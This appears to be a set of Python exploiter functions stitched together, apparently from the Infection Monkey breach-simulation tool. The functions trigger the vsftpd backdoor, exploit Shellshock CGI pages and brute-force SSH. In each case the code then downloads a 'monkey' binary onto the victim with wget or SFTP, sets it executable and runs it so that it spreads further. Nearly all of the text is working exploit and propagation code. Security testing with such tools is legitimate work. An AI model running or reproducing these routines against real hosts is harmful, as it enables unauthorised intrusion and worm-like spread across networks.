def change_permissions(self, url, path, command=None):
"""
Method for linux hosts. Makes monkey executable
:param url: Where to send malicious packets
:param path: Path to monkey on remote host
:param command: Formatted command for permission change or None
:return: response, False if failed and True if permission change is not needed
"""
LOG.info("Changing monkey's permissions")
if 'windows' in self.host.os['type']:
LOG.info("Permission change not required for windows")
return True
if not command:
command = CHMOD_MONKEY % {'monkey_path': path}
try:
resp = self.exploit(url, command)
T1222Telem(ScanStatus.USED, command, self.host).send()
except Exception as e:
LOG.error(
"Something went wrong while trying to change permission: %s" %
e)
T1222Telem(ScanStatus.SCANNED, "", self.host).send()
return False
# If exploiter returns True / False
if isinstance(resp, bool):
LOG.info("Permission change finished")
return resp
# If exploiter returns command output, we can check for execution errors
if 'Operation not permitted' in resp:
LOG.error("Missing permissions to make monkey executable")
return False
elif 'No such file or directory' in resp:
LOG.error(
"Could not change permission because monkey was not found. Check path parameter."
)
return False
LOG.info("Permission change finished")
return resp
def _exploit_host(self):
LOG.info("Attempting to trigger the Backdoor..")
ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT):
ftp_socket.recv(RECV_128).decode('utf-8')
if self.socket_send_recv(ftp_socket, USERNAME + '\n'):
time.sleep(FTP_TIME_BUFFER)
self.socket_send(ftp_socket, PASSWORD + '\n')
ftp_socket.close()
LOG.info('Backdoor Enabled, Now we can run commands')
else:
LOG.error('Failed to trigger backdoor on %s', self.host.ip_addr)
return False
LOG.info('Attempting to connect to backdoor...')
backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if self.socket_connect(backdoor_socket, self.host.ip_addr,
BACKDOOR_PORT):
LOG.info('Connected to backdoor on %s:6200', self.host.ip_addr)
uname_m = str.encode(UNAME_M + '\n')
response = self.socket_send_recv(backdoor_socket, uname_m)
if response:
LOG.info('Response for uname -m: %s', response)
if '' != response.lower().strip():
# command execution is successful
self.host.os['machine'] = response.lower().strip()
self.host.os['type'] = 'linux'
else:
LOG.info("Failed to execute command uname -m on victim %r ",
self.host)
src_path = get_target_monkey(self.host)
LOG.info("src for suitable monkey executable for host %r is %s",
self.host, src_path)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r",
self.host)
return False
# Create a http server to host the monkey
http_path, http_thread = HTTPTools.create_locked_transfer(
self.host, src_path)
dropper_target_path_linux = self._config.dropper_target_path_linux
LOG.info("Download link for monkey is %s", http_path)
# Upload the monkey to the machine
monkey_path = dropper_target_path_linux
download_command = WGET_HTTP_UPLOAD % {
'monkey_path': monkey_path,
'http_path': http_path
}
download_command = str.encode(str(download_command) + '\n')
LOG.info("Download command is %s", download_command)
if self.socket_send(backdoor_socket, download_command):
LOG.info('Monkey is now Downloaded ')
else:
LOG.error('Failed to download monkey at %s', self.host.ip_addr)
return False
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
# Change permissions
change_permission = CHMOD_MONKEY % {'monkey_path': monkey_path}
change_permission = str.encode(str(change_permission) + '\n')
LOG.info("change_permission command is %s", change_permission)
backdoor_socket.send(change_permission)
T1222Telem(ScanStatus.USED, change_permission, self.host).send()
# Run monkey on the machine
parameters = build_monkey_commandline(self.host,
get_monkey_depth() - 1)
run_monkey = RUN_MONKEY % {
'monkey_path': monkey_path,
'monkey_type': MONKEY_ARG,
'parameters': parameters
}
# Set unlimited to memory
# we don't have to revert the ulimit because it just applies to the shell obtained by our exploit
run_monkey = ULIMIT_V + UNLIMITED + run_monkey
run_monkey = str.encode(str(run_monkey) + '\n')
time.sleep(FTP_TIME_BUFFER)
if backdoor_socket.send(run_monkey):
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
self._config.dropper_target_path_linux, self.host,
run_monkey)
self.add_executed_cmd(run_monkey)
return True
else:
return False
def _exploit_host(self):
# start by picking ports
candidate_services = {
service: self.host.services[service]
for service in self.host.services
if ("name" in self.host.services[service]) and (
self.host.services[service]["name"] == "http")
}
valid_ports = [
(port, candidate_services["tcp-" + str(port)]["data"][1])
for port in self.HTTP if "tcp-" + str(port) in candidate_services
]
http_ports = [port[0] for port in valid_ports if not port[1]]
https_ports = [port[0] for port in valid_ports if port[1]]
LOG.info("Scanning %s, ports [%s] for vulnerable CGI pages" %
(self.host, ",".join([str(port[0]) for port in valid_ports])))
attackable_urls = []
# now for each port we want to check the entire URL list
for port in http_ports:
urls = self.check_urls(self.host.ip_addr, port)
attackable_urls.extend(urls)
for port in https_ports:
urls = self.check_urls(self.host.ip_addr, port, is_https=True)
attackable_urls.extend(urls)
# now for each URl we want to try and see if it's attackable
exploitable_urls = [
self.attempt_exploit(url) for url in attackable_urls
]
exploitable_urls = [url for url in exploitable_urls if url[0] is True]
# we want to report all vulnerable URLs even if we didn't succeed
self.exploit_info["vulnerable_urls"] = [
url[1] for url in exploitable_urls
]
# now try URLs until we install something on victim
for _, url, header, exploit in exploitable_urls:
LOG.info("Trying to attack host %s with %s URL" % (self.host, url))
# same attack script as sshexec
# for any failure, quit and don't try other URLs
if not self.host.os.get("type"):
try:
uname_os_attack = exploit + "/bin/uname -o"
uname_os = self.attack_page(url, header, uname_os_attack)
if "linux" in uname_os:
self.host.os["type"] = "linux"
else:
LOG.info("SSH Skipping unknown os: %s", uname_os)
return False
except Exception as exc:
LOG.debug(
"Error running uname os command on victim %r: (%s)",
self.host, exc)
return False
if not self.host.os.get("machine"):
try:
uname_machine_attack = exploit + "/bin/uname -m"
uname_machine = self.attack_page(url, header,
uname_machine_attack)
if "" != uname_machine:
self.host.os["machine"] = uname_machine.lower().strip()
except Exception as exc:
LOG.debug(
"Error running uname machine command on victim %r: (%s)",
self.host, exc)
return False
# copy the monkey
dropper_target_path_linux = self._config.dropper_target_path_linux
if self.skip_exist and (self.check_remote_file_exists(
url, header, exploit, dropper_target_path_linux)):
LOG.info(
"Host %s was already infected under the current configuration, "
"done" % self.host)
return True # return already infected
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r",
self.host)
return False
if not self._create_lock_file(exploit, url, header):
LOG.info("Another monkey is running shellshock exploit")
return True
http_path, http_thread = HTTPTools.create_transfer(
self.host, src_path)
if not http_path:
LOG.debug(
"Exploiter ShellShock failed, http transfer creation failed."
)
return False
download_command = "/usr/bin/wget %s -O %s;" % (
http_path, dropper_target_path_linux)
download = exploit + download_command
self.attack_page(
url, header, download
) # we ignore failures here since it might take more than TIMEOUT time
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
self._remove_lock_file(exploit, url, header)
if (http_thread.downloads !=
1) or ("ELF" not in self.check_remote_file_exists(
url, header, exploit, dropper_target_path_linux)):
LOG.debug("Exploiter %s failed, http download failed." %
self.__class__.__name__)
continue
# turn the monkey into an executable
chmod = "/bin/chmod +x %s" % dropper_target_path_linux
run_path = exploit + chmod
self.attack_page(url, header, run_path)
T1222Telem(ScanStatus.USED, chmod, self.host).send()
# run the monkey
cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
cmdline += build_monkey_commandline(
self.host,
get_monkey_depth() - 1,
HTTPTools.get_port_from_url(url),
dropper_target_path_linux,
)
cmdline += " & "
run_path = exploit + cmdline
self.attack_page(url, header, run_path)
LOG.info(
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
self._config.dropper_target_path_linux,
self.host,
cmdline,
)
if not (self.check_remote_file_exists(
url, header, exploit, self._config.monkey_log_path_linux)):
LOG.info("Log file does not exist, monkey might not have run")
continue
self.add_executed_cmd(cmdline)
return True
return False
def T1222_telem_test_instance():
return T1222Telem(STATUS, COMMAND, MACHINE)
def _exploit_host(self):
port = SSH_PORT
# if ssh banner found on different port, use that port.
for servkey, servdata in list(self.host.services.items()):
if servdata.get("name") == "ssh" and servkey.startswith("tcp-"):
port = int(servkey.replace("tcp-", ""))
is_open, _ = check_tcp_port(self.host.ip_addr, port)
if not is_open:
logger.info("SSH port is closed on %r, skipping", self.host)
return False
try:
ssh = self.exploit_with_ssh_keys(port)
except FailedExploitationError:
try:
ssh = self.exploit_with_login_creds(port)
except FailedExploitationError:
logger.debug("Exploiter SSHExploiter is giving up...")
return False
if not self.host.os.get("type"):
try:
_, stdout, _ = ssh.exec_command("uname -o")
uname_os = stdout.read().lower().strip().decode()
if "linux" in uname_os:
self.host.os["type"] = "linux"
else:
logger.info("SSH Skipping unknown os: %s", uname_os)
return False
except Exception as exc:
logger.debug("Error running uname os command on victim %r: (%s)", self.host, exc)
return False
if not self.host.os.get("machine"):
try:
_, stdout, _ = ssh.exec_command("uname -m")
uname_machine = stdout.read().lower().strip().decode()
if "" != uname_machine:
self.host.os["machine"] = uname_machine
except Exception as exc:
logger.debug(
"Error running uname machine command on victim %r: (%s)", self.host, exc
)
if self.skip_exist:
_, stdout, stderr = ssh.exec_command(
"head -c 1 %s" % self._config.dropper_target_path_linux
)
stdout_res = stdout.read().strip()
if stdout_res:
# file exists
logger.info(
"Host %s was already infected under the current configuration, "
"done" % self.host
)
return True # return already infected
src_path = get_target_monkey(self.host)
if not src_path:
logger.info("Can't find suitable monkey executable for host %r", self.host)
return False
try:
ftp = ssh.open_sftp()
self._update_timestamp = time.time()
with monkeyfs.open(src_path) as file_obj:
ftp.putfo(
file_obj,
self._config.dropper_target_path_linux,
file_size=monkeyfs.getsize(src_path),
callback=self.log_transfer,
)
ftp.chmod(self._config.dropper_target_path_linux, 0o777)
status = ScanStatus.USED
T1222Telem(
ScanStatus.USED,
"chmod 0777 %s" % self._config.dropper_target_path_linux,
self.host,
).send()
ftp.close()
except Exception as exc:
logger.debug("Error uploading file into victim %r: (%s)", self.host, exc)
status = ScanStatus.SCANNED
T1105Telem(
status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path
).send()
if status == ScanStatus.SCANNED:
return False
try:
cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG)
cmdline += build_monkey_commandline(
self.host, get_monkey_depth() - 1, vulnerable_port=SSH_PORT
)
cmdline += " > /dev/null 2>&1 &"
ssh.exec_command(cmdline)
logger.info(
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
self._config.dropper_target_path_linux,
self.host,
cmdline,
)
ssh.close()
self.add_executed_cmd(cmdline)
return True
except Exception as exc:
logger.debug("Error running monkey on victim %r: (%s)", self.host, exc)
return False
def _exploit_host(self):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
port = SSH_PORT
# if ssh banner found on different port, use that port.
for servkey, servdata in self.host.services.items():
if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'):
port = int(servkey.replace('tcp-', ''))
is_open, _ = check_tcp_port(self.host.ip_addr, port)
if not is_open:
LOG.info("SSH port is closed on %r, skipping", self.host)
return False
# Check for possible ssh exploits
exploited = self.exploit_with_ssh_keys(port, ssh)
if not exploited:
exploited = self.exploit_with_login_creds(port, ssh)
if not exploited:
LOG.debug("Exploiter SSHExploiter is giving up...")
return False
if not self.host.os.get('type'):
try:
_, stdout, _ = ssh.exec_command('uname -o')
uname_os = stdout.read().lower().strip()
if 'linux' in uname_os:
self.host.os['type'] = 'linux'
else:
LOG.info("SSH Skipping unknown os: %s", uname_os)
return False
except Exception as exc:
LOG.debug("Error running uname os commad on victim %r: (%s)",
self.host, exc)
return False
if not self.host.os.get('machine'):
try:
_, stdout, _ = ssh.exec_command('uname -m')
uname_machine = stdout.read().lower().strip()
if '' != uname_machine:
self.host.os['machine'] = uname_machine
except Exception as exc:
LOG.debug(
"Error running uname machine commad on victim %r: (%s)",
self.host, exc)
if self.skip_exist:
_, stdout, stderr = ssh.exec_command(
"head -c 1 %s" % self._config.dropper_target_path_linux)
stdout_res = stdout.read().strip()
if stdout_res:
# file exists
LOG.info(
"Host %s was already infected under the current configuration, done"
% self.host)
return True # return already infected
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r",
self.host)
return False
try:
ftp = ssh.open_sftp()
self._update_timestamp = time.time()
with monkeyfs.open(src_path) as file_obj:
ftp.putfo(file_obj,
self._config.dropper_target_path_linux,
file_size=monkeyfs.getsize(src_path),
callback=self.log_transfer)
ftp.chmod(self._config.dropper_target_path_linux, 0o777)
status = ScanStatus.USED
T1222Telem(
ScanStatus.USED,
"chmod 0777 %s" % self._config.dropper_target_path_linux,
self.host).send()
ftp.close()
except Exception as exc:
LOG.debug("Error uploading file into victim %r: (%s)", self.host,
exc)
status = ScanStatus.SCANNED
T1105Telem(status, get_interface_to_target(self.host.ip_addr),
self.host.ip_addr, src_path).send()
if status == ScanStatus.SCANNED:
return False
try:
cmdline = "%s %s" % (self._config.dropper_target_path_linux,
MONKEY_ARG)
cmdline += build_monkey_commandline(self.host,
get_monkey_depth() - 1)
cmdline += "&"
ssh.exec_command(cmdline)
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
self._config.dropper_target_path_linux, self.host,
cmdline)
ssh.close()
self.add_executed_cmd(cmdline)
return True
except Exception as exc:
LOG.debug("Error running monkey on victim %r: (%s)", self.host,
exc)
return False